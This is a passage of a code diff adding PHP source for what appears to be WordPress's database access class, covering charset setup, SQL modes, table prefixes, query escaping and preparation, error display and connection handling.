+		if ( ( $this->use_mysqli && ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) {
+			return compact( 'charset', 'collate' );
+		}
+
+		if ( 'utf8' === $charset && $this->has_cap( 'utf8mb4' ) ) {
+			$charset = 'utf8mb4';
+		}
+
+		if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
+			$charset = 'utf8';
+			$collate = str_replace( 'utf8mb4_', 'utf8_', $collate );
+		}
+
+		if ( 'utf8mb4' === $charset ) {
+			// _general_ is outdated, so we can upgrade it to _unicode_, instead.
+			if ( ! $collate || 'utf8_general_ci' === $collate ) {
+				$collate = 'utf8mb4_unicode_ci';
+			} else {
+				$collate = str_replace( 'utf8_', 'utf8mb4_', $collate );
+			}
+		}
+
+		// _unicode_520_ is a better collation, we should use that when it's available.
+		if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) {
+			$collate = 'utf8mb4_unicode_520_ci';
+		}
+
+		return compact( 'charset', 'collate' );
+	}
+
+	/**
+	 * Sets the connection's character set.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param resource $dbh     The resource given by mysql_connect
+	 * @param string   $charset Optional. The character set. Default null.
+	 * @param string   $collate Optional. The collation. Default null.
+	 */
+	public function set_charset( $dbh, $charset = null, $collate = null ) {
+		if ( ! isset( $charset ) )
+			$charset = $this->charset;
+		if ( ! isset( $collate ) )
+			$collate = $this->collate;
+		if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) {
+			$set_charset_succeeded = true;
+
+			if ( $this->use_mysqli ) {
+				if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
+					$set_charset_succeeded = mysqli_set_charset( $dbh, $charset );
+				}
+
+				if ( $set_charset_succeeded ) {
+					$query = $this->prepare( 'SET NAMES %s', $charset );
+					if ( ! empty( $collate ) )
+						$query .= $this->prepare( ' COLLATE %s', $collate );
+					mysqli_query( $dbh, $query );
+				}
+			} else {
+				if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
+					$set_charset_succeeded = mysql_set_charset( $charset, $dbh );
+				}
+				if ( $set_charset_succeeded ) {
+					$query = $this->prepare( 'SET NAMES %s', $charset );
+					if ( ! empty( $collate ) )
+						$query .= $this->prepare( ' COLLATE %s', $collate );
+					mysql_query( $query, $dbh );
+				}
+			}
+		}
+	}
+
+	/**
+	 * Change the current SQL mode, and ensure its WordPress compatibility.
+	 *
+	 * If no modes are passed, it will ensure the current MySQL server
+	 * modes are compatible.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $modes Optional. A list of SQL modes to set.
+	 */
+	public function set_sql_mode( $modes = array() ) {
+		if ( empty( $modes ) ) {
+			if ( $this->use_mysqli ) {
+				$res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' );
+			} else {
+				$res = mysql_query( 'SELECT @@SESSION.sql_mode', $this->dbh );
+			}
+
+			if ( empty( $res ) ) {
+				return;
+			}
+
+			if ( $this->use_mysqli ) {
+				$modes_array = mysqli_fetch_array( $res );
+				if ( empty( $modes_array[0] ) ) {
+					return;
+				}
+				$modes_str = $modes_array[0];
+			} else {
+				$modes_str = mysql_result( $res, 0 );
+			}
+
+			if ( empty( $modes_str ) ) {
+				return;
+			}
+
+			$modes = explode( ',', $modes_str );
+		}
+
+		$modes = array_change_key_case( $modes, CASE_UPPER );
+
+		/**
+		 * Filters the list of incompatible SQL modes to exclude.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array $incompatible_modes An array of incompatible modes.
+		 */
+		$incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes );
+
+		foreach ( $modes as $i => $mode ) {
+			if ( in_array( $mode, $incompatible_modes ) ) {
+				unset( $modes[ $i ] );
+			}
+		}
+
+		$modes_str = implode( ',', $modes );
+
+		if ( $this->use_mysqli ) {
+			mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" );
+		} else {
+			mysql_query( "SET SESSION sql_mode='$modes_str'", $this->dbh );
+		}
+	}
+
+	/**
+	 * Sets the table prefix for the WordPress tables.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $prefix          Alphanumeric name for the new prefix.
+	 * @param bool   $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, should be updated or not.
+	 * @return string|WP_Error Old prefix or WP_Error on error
+	 */
+	public function set_prefix( $prefix, $set_table_names = true ) {
+
+		if ( preg_match( '|[^a-z0-9_]|i', $prefix ) )
+			return new WP_Error('invalid_db_prefix', 'Invalid database prefix' );
+
+		$old_prefix = is_multisite() ? '' : $prefix;
+
+		if ( isset( $this->base_prefix ) )
+			$old_prefix = $this->base_prefix;
+
+		$this->base_prefix = $prefix;
+
+		if ( $set_table_names ) {
+			foreach ( $this->tables( 'global' ) as $table => $prefixed_table )
+				$this->$table = $prefixed_table;
+
+			if ( is_multisite() && empty( $this->blogid ) )
+				return $old_prefix;
+
+			$this->prefix = $this->get_blog_prefix();
+
+			foreach ( $this->tables( 'blog' ) as $table => $prefixed_table )
+				$this->$table = $prefixed_table;
+
+			foreach ( $this->tables( 'old' ) as $table => $prefixed_table )
+				$this->$table = $prefixed_table;
+		}
+		return $old_prefix;
+	}
+
+	/**
+	 * Sets blog id.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $blog_id
+	 * @param int $network_id Optional.
+	 * @return int previous blog id
+	 */
+	public function set_blog_id( $blog_id, $network_id = 0 ) {
+		if ( ! empty( $network_id ) ) {
+			$this->siteid = $network_id;
+		}
+
+		$old_blog_id  = $this->blogid;
+		$this->blogid = $blog_id;
+
+		$this->prefix = $this->get_blog_prefix();
+
+		foreach ( $this->tables( 'blog' ) as $table => $prefixed_table )
+			$this->$table = $prefixed_table;
+
+		foreach ( $this->tables( 'old' ) as $table => $prefixed_table )
+			$this->$table = $prefixed_table;
+
+		return $old_blog_id;
+	}
+
+	/**
+	 * Gets blog prefix.
+	 *
+	 * @since 3.0.0
+	 * @param int $blog_id Optional.
+	 * @return string Blog prefix.
+	 */
+	public function get_blog_prefix( $blog_id = null ) {
+		if ( is_multisite() ) {
+			if ( null === $blog_id )
+				$blog_id = $this->blogid;
+			$blog_id = (int) $blog_id;
+			if ( defined( 'MULTISITE' ) && ( 0 == $blog_id || 1 == $blog_id ) )
+				return $this->base_prefix;
+			else
+				return $this->base_prefix . $blog_id . '_';
+		} else {
+			return $this->base_prefix;
+		}
+	}
+
+	/**
+	 * Returns an array of WordPress tables.
+	 *
+	 * Also allows for the CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE to
+	 * override the WordPress users and usermeta tables that would otherwise
+	 * be determined by the prefix.
+	 *
+	 * The scope argument can take one of the following:
+	 *
+	 * 'all' - returns 'all' and 'global' tables. No old tables are returned.
+	 * 'blog' - returns the blog-level tables for the queried blog.
+	 * 'global' - returns the global tables for the installation, returning multisite tables only if running multisite.
+	 * 'ms_global' - returns the multisite global tables, regardless if current installation is multisite.
+	 * 'old' - returns tables which are deprecated.
+	 *
+	 * @since 3.0.0
+	 * @uses wpdb::$tables
+	 * @uses wpdb::$old_tables
+	 * @uses wpdb::$global_tables
+	 * @uses wpdb::$ms_global_tables
+	 *
+	 * @param string $scope   Optional. Can be all, global, ms_global, blog, or old tables. Defaults to all.
+	 * @param bool   $prefix  Optional. Whether to include table prefixes. Default true. If blog
+	 *                        prefix is requested, then the custom users and usermeta tables will be mapped.
+	 * @param int    $blog_id Optional. The blog_id to prefix. Defaults to wpdb::$blogid. Used only when prefix is requested.
+	 * @return array Table names. When a prefix is requested, the key is the unprefixed table name.
+	 */
+	public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) {
+		switch ( $scope ) {
+			case 'all' :
+				$tables = array_merge( $this->global_tables, $this->tables );
+				if ( is_multisite() )
+					$tables = array_merge( $tables, $this->ms_global_tables );
+				break;
+			case 'blog' :
+				$tables = $this->tables;
+				break;
+			case 'global' :
+				$tables = $this->global_tables;
+				if ( is_multisite() )
+					$tables = array_merge( $tables, $this->ms_global_tables );
+				break;
+			case 'ms_global' :
+				$tables = $this->ms_global_tables;
+				break;
+			case 'old' :
+				$tables = $this->old_tables;
+				break;
+			default :
+				return array();
+		}
+
+		if ( $prefix ) {
+			if ( ! $blog_id )
+				$blog_id = $this->blogid;
+			$blog_prefix = $this->get_blog_prefix( $blog_id );
+			$base_prefix = $this->base_prefix;
+			$global_tables = array_merge( $this->global_tables, $this->ms_global_tables );
+			foreach ( $tables as $k => $table ) {
+				if ( in_array( $table, $global_tables ) )
+					$tables[ $table ] = $base_prefix . $table;
+				else
+					$tables[ $table ] = $blog_prefix . $table;
+				unset( $tables[ $k ] );
+			}
+
+			if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) )
+				$tables['users'] = CUSTOM_USER_TABLE;
+
+			if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) )
+				$tables['usermeta'] = CUSTOM_USER_META_TABLE;
+		}
+
+		return $tables;
+	}
+
+	/**
+	 * Selects a database using the current database connection.
+	 *
+	 * The database name will be changed based on the current database
+	 * connection. On failure, the execution will bail and display an DB error.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string        $db  MySQL database name
+	 * @param resource|null $dbh Optional link identifier.
+	 */
+	public function select( $db, $dbh = null ) {
+		if ( is_null($dbh) )
+			$dbh = $this->dbh;
+
+		if ( $this->use_mysqli ) {
+			$success = mysqli_select_db( $dbh, $db );
+		} else {
+			$success = mysql_select_db( $db, $dbh );
+		}
+		if ( ! $success ) {
+			$this->ready = false;
+			if ( ! did_action( 'template_redirect' ) ) {
+				wp_load_translations_early();
+
+				$message = '<h1>' . __( 'Can&#8217;t select database' ) . "</h1>\n";
+
+				$message .= '<p>' . sprintf(
+					/* translators: %s: database name */
+					__( 'We were able to connect to the database server (which means your username and password is okay) but not able to select the %s database.' ),
+					'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
+				) . "</p>\n";
+
+				$message .= "<ul>\n";
+				$message .= '<li>' . __( 'Are you sure it exists?' ) . "</li>\n";
+
+				$message .= '<li>' . sprintf(
+					/* translators: 1: database user, 2: database name */
+					__( 'Does the user %1$s have permission to use the %2$s database?' ),
+					'<code>' . htmlspecialchars( $this->dbuser, ENT_QUOTES )  . '</code>',
+					'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
+				) . "</li>\n";
+
+				$message .= '<li>' . sprintf(
+					/* translators: %s: database name */
+					__( 'On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?' ),
+					htmlspecialchars( $db, ENT_QUOTES )
+				). "</li>\n";
+
+				$message .= "</ul>\n";
+
+				$message .= '<p>' . sprintf(
+					/* translators: %s: support forums URL */
+					__( 'If you don&#8217;t know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="%s">WordPress Support Forums</a>.' ),
+					__( 'https://wordpress.org/support/' )
+				) . "</p>\n";
+
+				$this->bail( $message, 'db_select_fail' );
+			}
+		}
+	}
+
+	/**
+	 * Do not use, deprecated.
+	 *
+	 * Use esc_sql() or wpdb::prepare() instead.
+	 *
+	 * @since 2.8.0
+	 * @deprecated 3.6.0 Use wpdb::prepare()
+	 * @see wpdb::prepare
+	 * @see esc_sql()
+	 *
+	 * @param string $string
+	 * @return string
+	 */
+	function _weak_escape( $string ) {
+		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) )
+			_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
+		return addslashes( $string );
+	}
+
+	/**
+	 * Real escape, using mysqli_real_escape_string() or mysql_real_escape_string()
+	 *
+	 * @see mysqli_real_escape_string()
+	 * @see mysql_real_escape_string()
+	 * @since 2.8.0
+	 *
+	 * @param  string $string to escape
+	 * @return string escaped
+	 */
+	function _real_escape( $string ) {
+		if ( $this->dbh ) {
+			if ( $this->use_mysqli ) {
+				$escaped = mysqli_real_escape_string( $this->dbh, $string );
+			} else {
+				$escaped = mysql_real_escape_string( $string, $this->dbh );
+			}
+		} else {
+			$class = get_class( $this );
+			if ( function_exists( '__' ) ) {
+				/* translators: %s: database access abstraction class, usually wpdb or a class extending wpdb */
+				_doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' );
+			} else {
+				_doing_it_wrong( $class, sprintf( '%s must set a database connection for use with escaping.', $class ), '3.6.0' );
+			}
+			$escaped = addslashes( $string );
+		}
+
+		return $this->add_placeholder_escape( $escaped );
+	}
+
+	/**
+	 * Escape data. Works on arrays.
+	 *
+	 * @uses wpdb::_real_escape()
+	 * @since  2.8.0
+	 *
+	 * @param  string|array $data
+	 * @return string|array escaped
+	 */
+	public function _escape( $data ) {
+		if ( is_array( $data ) ) {
+			foreach ( $data as $k => $v ) {
+				if ( is_array( $v ) ) {
+					$data[$k] = $this->_escape( $v );
+				} else {
+					$data[$k] = $this->_real_escape( $v );
+				}
+			}
+		} else {
+			$data = $this->_real_escape( $data );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Do not use, deprecated.
+	 *
+	 * Use esc_sql() or wpdb::prepare() instead.
+	 *
+	 * @since 0.71
+	 * @deprecated 3.6.0 Use wpdb::prepare()
+	 * @see wpdb::prepare()
+	 * @see esc_sql()
+	 *
+	 * @param mixed $data
+	 * @return mixed
+	 */
+	public function escape( $data ) {
+		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) )
+			_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
+		if ( is_array( $data ) ) {
+			foreach ( $data as $k => $v ) {
+				if ( is_array( $v ) )
+					$data[$k] = $this->escape( $v, 'recursive' );
+				else
+					$data[$k] = $this->_weak_escape( $v, 'internal' );
+			}
+		} else {
+			$data = $this->_weak_escape( $data, 'internal' );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Escapes content by reference for insertion into the database, for security
+	 *
+	 * @uses wpdb::_real_escape()
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $string to escape
+	 */
+	public function escape_by_ref( &$string ) {
+		if ( ! is_float( $string ) )
+			$string = $this->_real_escape( $string );
+	}
+
+	/**
+	 * Prepares a SQL query for safe execution. Uses sprintf()-like syntax.
+	 *
+	 * The following placeholders can be used in the query string:
+	 *   %d (integer)
+	 *   %f (float)
+	 *   %s (string)
+	 *
+	 * All placeholders MUST be left unquoted in the query string. A corresponding argument MUST be passed for each placeholder.
+	 *
+	 * For compatibility with old behavior, numbered or formatted string placeholders (eg, %1$s, %5s) will not have quotes
+	 * added by this function, so should be passed with appropriate quotes around them for your usage.
+	 *
+	 * Literal percentage signs (%) in the query string must be written as %%. Percentage wildcards (for example,
+	 * to use in LIKE syntax) must be passed via a substitution argument containing the complete LIKE string, these
+	 * cannot be inserted directly in the query string. Also see {@see esc_like()}.
+	 *
+	 * Arguments may be passed as individual arguments to the method, or as a single array containing all arguments. A combination
+	 * of the two is not supported.
+	 *
+	 * Examples:
+	 *     $wpdb->prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s", array( 'foo', 1337, '%bar' ) );
+	 *     $wpdb->prepare( "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", 'foo' );
+	 *
+	 * @link https://secure.php.net/sprintf Description of syntax.
+	 * @since 2.3.0
+	 *
+	 * @param string      $query    Query statement with sprintf()-like placeholders
+	 * @param array|mixed $args     The array of variables to substitute into the query's placeholders if being called with an array of arguments,
+	 *                              or the first variable to substitute into the query's placeholders if being called with individual arguments.
+	 * @param mixed       $args,... further variables to substitute into the query's placeholders if being called wih individual arguments.
+	 * @return string|void Sanitized query string, if there is a query to prepare.
+	 */
+	public function prepare( $query, $args ) {
+		if ( is_null( $query ) ) {
+			return;
+		}
+
+		// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
+		if ( strpos( $query, '%' ) === false ) {
+			wp_load_translations_early();
+			_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
+		}
+
+		$args = func_get_args();
+		array_shift( $args );
+
+		// If args were passed as an array (as in vsprintf), move them up.
+		$passed_as_array = false;
+		if ( is_array( $args[0] ) && count( $args ) == 1 ) {
+			$passed_as_array = true;
+			$args = $args[0];
+		}
+
+		foreach ( $args as $arg ) {
+			if ( ! is_scalar( $arg ) && ! is_null( $arg ) ) {
+				wp_load_translations_early();
+				_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'Unsupported value type (%s).' ), gettype( $arg ) ), '4.8.2' );
+			}
+		}
+
+		/*
+		 * Specify the formatting allowed in a placeholder. The following are allowed:
+		 *
+		 * - Sign specifier. eg, $+d
+		 * - Numbered placeholders. eg, %1$s
+		 * - Padding specifier, including custom padding characters. eg, %05s, %'#5s
+		 * - Alignment specifier. eg, %05-s
+		 * - Precision specifier. eg, %.2f
+		 */
+		$allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?';
+
+		/*
+		 * If a %s placeholder already has quotes around it, removing the existing quotes and re-inserting them
+		 * ensures the quotes are consistent.
+		 *
+		 * For backwards compatibility, this is only applied to %s, and not to placeholders like %1$s, which are frequently
+		 * used in the middle of longer strings, or as table name placeholders.
+		 */
+		$query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes.
+		$query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes.
+		$query = preg_replace( '/(?<!%)%s/', "'%s'", $query ); // Quote the strings, avoiding escaped strings like %%s.
+
+		$query = preg_replace( "/(?<!%)(%($allowed_format)?f)/" , '%\\2F', $query ); // Force floats to be locale unaware.
+
+		$query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdF]))/", '%%\\1', $query ); // Escape any unescaped percents.
+
+		// Count the number of valid placeholders in the query.
+		$placeholders = preg_match_all( "/(^|[^%]|(%%)+)%($allowed_format)?[sdF]/", $query, $matches );
+
+		if ( count( $args ) !== $placeholders ) {
+			if ( 1 === $placeholders && $passed_as_array ) {
+				// If the passed query only expected one argument, but the wrong number of arguments were sent as an array, bail.
+				wp_load_translations_early();
+				_doing_it_wrong( 'wpdb::prepare', __( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ), '4.9.0' );
+
+				return;
+			} else {
+				/*
+				 * If we don't have the right number of placeholders, but they were passed as individual arguments,
+				 * or we were expecting multiple arguments in an array, throw a warning.
+				 */
+				wp_load_translations_early();
+				_doing_it_wrong( 'wpdb::prepare',
+					/* translators: 1: number of placeholders, 2: number of arguments passed */
+					sprintf( __( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ),
+						$placeholders,
+						count( $args ) ),
+					'4.8.3'
+				);
+			}
+		}
+
+		array_walk( $args, array( $this, 'escape_by_ref' ) );
+		$query = @vsprintf( $query, $args );
+
+		return $this->add_placeholder_escape( $query );
+	}
+
+	/**
+	 * First half of escaping for LIKE special characters % and _ before preparing for MySQL.
+	 *
+	 * Use this only before wpdb::prepare() or esc_sql().  Reversing the order is very bad for security.
+	 *
+	 * Example Prepared Statement:
+	 *
+	 *     $wild = '%';
+	 *     $find = 'only 43% of planets';
+	 *     $like = $wild . $wpdb->esc_like( $find ) . $wild;
+	 *     $sql  = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like );
+	 *
+	 * Example Escape Chain:
+	 *
+	 *     $sql  = esc_sql( $wpdb->esc_like( $input ) );
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $text The raw text to be escaped. The input typed by the user should have no
+	 *                     extra or deleted slashes.
+	 * @return string Text in the form of a LIKE phrase. The output is not SQL safe. Call $wpdb::prepare()
+	 *                or real_escape next.
+	 */
+	public function esc_like( $text ) {
+		return addcslashes( $text, '_%\\' );
+	}
+
+	/**
+	 * Print SQL/DB error.
+	 *
+	 * @since 0.71
+	 * @global array $EZSQL_ERROR Stores error information of query and error string
+	 *
+	 * @param string $str The error to display
+	 * @return false|void False if the showing of errors is disabled.
+	 */
+	public function print_error( $str = '' ) {
+		global $EZSQL_ERROR;
+
+		if ( !$str ) {
+			if ( $this->use_mysqli ) {
+				$str = mysqli_error( $this->dbh );
+			} else {
+				$str = mysql_error( $this->dbh );
+			}
+		}
+		$EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str );
+
+		if ( $this->suppress_errors )
+			return false;
+
+		wp_load_translations_early();
+
+		if ( $caller = $this->get_caller() ) {
+			/* translators: 1: Database error message, 2: SQL query, 3: Name of the calling function */
+			$error_str = sprintf( __( 'WordPress database error %1$s for query %2$s made by %3$s' ), $str, $this->last_query, $caller );
+		} else {
+			/* translators: 1: Database error message, 2: SQL query */
+			$error_str = sprintf( __( 'WordPress database error %1$s for query %2$s' ), $str, $this->last_query );
+		}
+
+		error_log( $error_str );
+
+		// Are we showing errors?
+		if ( ! $this->show_errors )
+			return false;
+
+		// If there is an error then take note of it
+		if ( is_multisite() ) {
+			$msg = sprintf(
+				"%s [%s]\n%s\n",
+				__( 'WordPress database error:' ),
+				$str,
+				$this->last_query
+			);
+
+			if ( defined( 'ERRORLOGFILE' ) ) {
+				error_log( $msg, 3, ERRORLOGFILE );
+			}
+			if ( defined( 'DIEONDBERROR' ) ) {
+				wp_die( $msg );
+			}
+		} else {
+			$str   = htmlspecialchars( $str, ENT_QUOTES );
+			$query = htmlspecialchars( $this->last_query, ENT_QUOTES );
+
+			printf(
+				'<div id="error"><p class="wpdberror"><strong>%s</strong> [%s]<br /><code>%s</code></p></div>',
+				__( 'WordPress database error:' ),
+				$str,
+				$query
+			);
+		}
+	}
+
+	/**
+	 * Enables showing of database errors.
+	 *
+	 * This function should be used only to enable showing of errors.
+	 * wpdb::hide_errors() should be used instead for hiding of errors. However,
+	 * this function can be used to enable and disable showing of database
+	 * errors.
+	 *
+	 * @since 0.71
+	 * @see wpdb::hide_errors()
+	 *
+	 * @param bool $show Whether to show or hide errors
+	 * @return bool Old value for showing errors.
+	 */
+	public function show_errors( $show = true ) {
+		$errors = $this->show_errors;
+		$this->show_errors = $show;
+		return $errors;
+	}
+
+	/**
+	 * Disables showing of database errors.
+	 *
+	 * By default database errors are not shown.
+	 *
+	 * @since 0.71
+	 * @see wpdb::show_errors()
+	 *
+	 * @return bool Whether showing of errors was active
+	 */
+	public function hide_errors() {
+		$show = $this->show_errors;
+		$this->show_errors = false;
+		return $show;
+	}
+
+	/**
+	 * Whether to suppress database errors.
+	 *
+	 * By default database errors are suppressed, with a simple
+	 * call to this function they can be enabled.
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::hide_errors()
+	 * @param bool $suppress Optional. New value. Defaults to true.
+	 * @return bool Old value
+	 */
+	public function suppress_errors( $suppress = true ) {
+		$errors = $this->suppress_errors;
+		$this->suppress_errors = (bool) $suppress;
+		return $errors;
+	}
+
+	/**
+	 * Kill cached query results.
+	 *
+	 * @since 0.71
+	 */
+	public function flush() {
+		$this->last_result = array();
+		$this->col_info    = null;
+		$this->last_query  = null;
+		$this->rows_affected = $this->num_rows = 0;
+		$this->last_error  = '';
+
+		if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
+			mysqli_free_result( $this->result );
+			$this->result = null;
+
+			// Sanity check before using the handle
+			if ( empty( $this->dbh ) || !( $this->dbh instanceof mysqli ) ) {
+				return;
+			}
+
+			// Clear out any results from a multi-query
+			while ( mysqli_more_results( $this->dbh ) ) {
+				mysqli_next_result( $this->dbh );
+			}
+		} elseif ( is_resource( $this->result ) ) {
+			mysql_free_result( $this->result );
+		}
+	}
+
+	/**
+	 * Connect to and select database.
+	 *
+	 * If $allow_bail is false, the lack of database connection will need
+	 * to be handled manually.
+	 *
+	 * @since 3.0.0
+	 * @since 3.9.0 $allow_bail parameter added.
+	 *
+	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
+	 * @return bool True with a successful connection, false on failure.
+	 */
+	public function db_connect( $allow_bail = true ) {
+		$this->is_mysql = true;
+
+		/*
+		 * Deprecated in 3.9+ when using MySQLi. No equivalent
+		 * $new_link parameter exists for mysqli_* functions.
+		 */
+		$new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true;
+		$client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0;
+
+		if ( $this->use_mysqli ) {
+			$this->dbh = mysqli_init();
+
+			$host    = $this->dbhost;
+			$port    = null;
+			$socket  = null;
+			$is_ipv6 = false;
+
+			if ( $host_data = $this->parse_db_host( $this->dbhost ) ) {
+				list( $host, $port, $socket, $is_ipv6 ) = $host_data;
+			}
+
+			/*
+			 * If using the `mysqlnd` library, the IPv6 address needs to be
+			 * enclosed in square brackets, whereas it doesn't while using the
+			 * `libmysqlclient` library.
+			 * @see https://bugs.php.net/bug.php?id=67563
+			 */
+			if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) {
+				$host = "[$host]";
+			}
+
+			if ( WP_DEBUG ) {
+				mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
+			} else {
+				@mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
+			}
+
+			if ( $this->dbh->connect_errno ) {
+				$this->dbh = null;
+
+				/*
+				 * It's possible ext/mysqli is misconfigured. Fall back to ext/mysql if:
+		 		 *  - We haven't previously connected, and
+		 		 *  - WP_USE_EXT_MYSQL isn't set to false, and
+		 		 *  - ext/mysql is loaded.
+		 		 */
+				$attempt_fallback = true;
+
+				if ( $this->has_connected ) {
+					$attempt_fallback = false;
+				} elseif ( defined( 'WP_USE_EXT_MYSQL' ) && ! WP_USE_EXT_MYSQL ) {
+					$attempt_fallback = false;
+				} elseif ( ! function_exists( 'mysql_connect' ) ) {
+					$attempt_fallback = false;
+				}
+
+				if ( $attempt_fallback ) {
+					$this->use_mysqli = false;
+					return $this->db_connect( $allow_bail );
+				}
+			}
+		} else {
+			if ( WP_DEBUG ) {
+				$this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
+			} else {
+				$this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
+			}
+		}
+
+		if ( ! $this->dbh && $allow_bail ) {
+			wp_load_translations_early();
+
+			// Load custom DB error template, if present.
+			if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
+				require_once( WP_CONTENT_DIR . '/db-error.php' );
+				die();
+			}
+
+			$message = '<h1>' . __( 'Error establishing a database connection' ) . "</h1>\n";
+
+			$message .= '<p>' . sprintf(
+				/* translators: 1: wp-config.php. 2: database host */
+				__( 'This either means that the username and password information in your %1$s file is incorrect or we can&#8217;t contact the database server at %2$s. This could mean your host&#8217;s database server is down.' ),
+				'<code>wp-config.php</code>',
+				'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
+			) . "</p>\n";
+
+			$message .= "<ul>\n";
+			$message .= '<li>' . __( 'Are you sure you have the correct username and password?' ) . "</li>\n";
+			$message .= '<li>' . __( 'Are you sure that you have typed the correct hostname?' ) . "</li>\n";
+			$message .= '<li>' . __( 'Are you sure that the database server is running?' ) . "</li>\n";
+			$message .= "</ul>\n";
+
+			$message .= '<p>' . sprintf(
+				/* translators: %s: support forums URL */
+				__( 'If you&#8217;re unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ),
+				__( 'https://wordpress.org/support/' )
+			) . "</p>\n";
+
+			$this->bail( $message, 'db_connect_fail' );
+
+			return false;
+		} elseif ( $this->dbh ) {
+			if ( ! $this->has_connected ) {
+				$this->init_charset();
+			}
+
+			$this->has_connected = true;
+
+			$this->set_charset( $this->dbh );
+
+			$this->ready = true;
+			$this->set_sql_mode();
+			$this->select( $this->dbname, $this->dbh );
+
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Parse the DB_HOST setting to interpret it for mysqli_real_connect.
+	 *
+	 * mysqli_real_connect doesn't support the host param including a port or
+	 * socket like mysql_connect does. This duplicates how mysql_connect detects
+	 * a port and/or socket file.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $host The DB_HOST setting to parse.
+	 * @return array|bool Array containing the host, the port, the socket and whether
+	 *                    it is an IPv6 address, in that order. If $host couldn't be parsed,
+	 *                    returns false.
+	 */
+	public function parse_db_host( $host ) {
+		$port    = null;
+		$socket  = null;
+		$is_ipv6 = false;
+
+		// First peel off the socket parameter from the right, if it exists.
+		$socket_pos = strpos( $host, ':/' );
+		if ( $socket_pos !== false ) {
+			$socket = substr( $host, $socket_pos + 1 );
+			$host = substr( $host, 0, $socket_pos );
+		}
+
+		// We need to check for an IPv6 address first.
+		// An IPv6 address will always contain at least two colons.
+		if ( substr_count( $host, ':' ) > 1 ) {
+			$pattern = '#^(?:\[)?(?P<host>[0-9a-fA-F:]+)(?:\]:(?P<port>[\d]+))?#';
+			$is_ipv6 = true;
+		} else {
+			// We seem to be dealing with an IPv4 address.
+			$pattern = '#^(?P<host>[^:/]*)(?::(?P<port>[\d]+))?#';
+		}
+
+		$matches = array();
+		$result = preg_match( $pattern, $host, $matches );
+
+		if ( 1 !== $result ) {
+			// Couldn't parse the address, bail.
+			return false;
+		}
+
+		$host = '';
+		foreach ( array( 'host', 'port' ) as $component ) {
+			if ( ! empty( $matches[ $component ] ) ) {
+				$$component = $matches[ $component ];
+			}
+		}
+
+		return array( $host, $port, $socket, $is_ipv6 );
+	}
+
+	/**
+	 * Checks that the connection to the database is still up. If not, try to reconnect.
+	 *
